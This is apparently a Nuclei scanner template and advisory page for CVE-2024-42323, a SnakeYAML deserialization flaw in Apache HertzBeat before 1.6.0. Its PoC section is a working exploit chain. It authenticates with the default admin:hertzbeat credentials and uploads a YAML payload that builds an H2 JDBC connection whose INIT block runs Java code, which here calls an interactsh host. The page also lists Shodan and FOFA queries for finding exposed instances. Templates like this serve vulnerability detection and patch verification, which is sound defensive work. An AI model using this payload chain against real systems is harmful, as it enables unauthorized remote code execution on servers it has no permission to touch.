Apache HertzBeat versions before 1.6.0 use a vulnerable version of the SnakeYAML library to parse YAML files imported through the `/api/monitors/import` and `/api/alert/defines/import` endpoints. An authenticated user can submit a YAML file that constructs an `org.h2.jdbc.JdbcConnection` with a malicious H2 in-memory JDBC URL whose `INIT` block contains a `CREATE ALIAS ... $$ ... $$` Java source snippet, achieving remote code execution inside the HertzBeat JVM. The vulnerability is exploitable in default deployments because the official Docker image and quickstart documentation ship with the well-known default credentials `admin:hertzbeat`, which the template uses for chained authentication.
PoC
id: CVE-2024-42323
info:
name: Apache HertzBeat < 1.6.0 - SnakeYAML Deserialization Remote Code Execution
author: ChrisJr404
severity: high
description: |
Apache HertzBeat versions before 1.6.0 use a vulnerable version of the SnakeYAML library to parse YAML files imported through the `/api/monitors/import` and `/api/alert/defines/import` endpoints. An authenticated user can submit a YAML file that constructs an `org.h2.jdbc.JdbcConnection` with a malicious H2 in-memory JDBC URL whose `INIT` block contains a `CREATE ALIAS ... $$ ... $$` Java source snippet, achieving remote code execution inside the HertzBeat JVM. The vulnerability is exploitable in default deployments because the official Docker image and quickstart documentation ship with the well-known default credentials `admin:hertzbeat`, which the template uses for chained authentication.
impact: |
Authenticated remote code execution inside the HertzBeat JVM. Default-credential deployments collapse this into pre-auth RCE.
remediation: |
Upgrade to Apache HertzBeat 1.6.0 or later. Change the default `admin:hertzbeat` credentials in any deployment that has not already done so.
reference:
- https://lists.apache.org/thread/dwpwm572sbwon1mknlwhkpbom2y7skbx
- https://nvd.nist.gov/vuln/detail/CVE-2024-42323
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-42323
cwe-id: CWE-502
epss-score: 0.08322
epss-percentile: 0.94649
metadata:
verified: true
max-request: 2
vendor: apache
product: hertzbeat
shodan-query: http.title:"HertzBeat"
fofa-query: title="HertzBeat"
tags: cve,cve2024,apache,hertzbeat,snakeyaml,deserialization,rce,intrusive,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/account/auth/form HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"identifier":"{{username}}","credential":"{{password}}","type":0}
extractors:
- type: json
name: token
json:
- ".data.token"
internal: true
- raw:
- |
POST /api/monitors/import HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: multipart/form-data; boundary=----testingboundary
------testingboundary
Content-Disposition: form-data; name="file"; filename="poc.yaml"
Content-Type: application/octet-stream
!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:{{rand_text_alpha(8)}};MODE=MSSQLServer;INIT=drop alias if exists lk\\;CREATE ALIAS LK AS $$void lk() throws java.io.IOException { java.net.InetAddress.getByName(\"{{interactsh-url}}\")\\; }$$\\;CALL LK ()\\;", [], "a", "b", false ]
------testingboundary--
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
# digest: 490a00463044022001a4196366eec772c79c403b5003f96ccb4feb86653009d3fd6af739f3c4ff8f022013058f668b122acf09abc0cd1621a20b53d983725af35115cf3f0ecb2f4e42ff:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.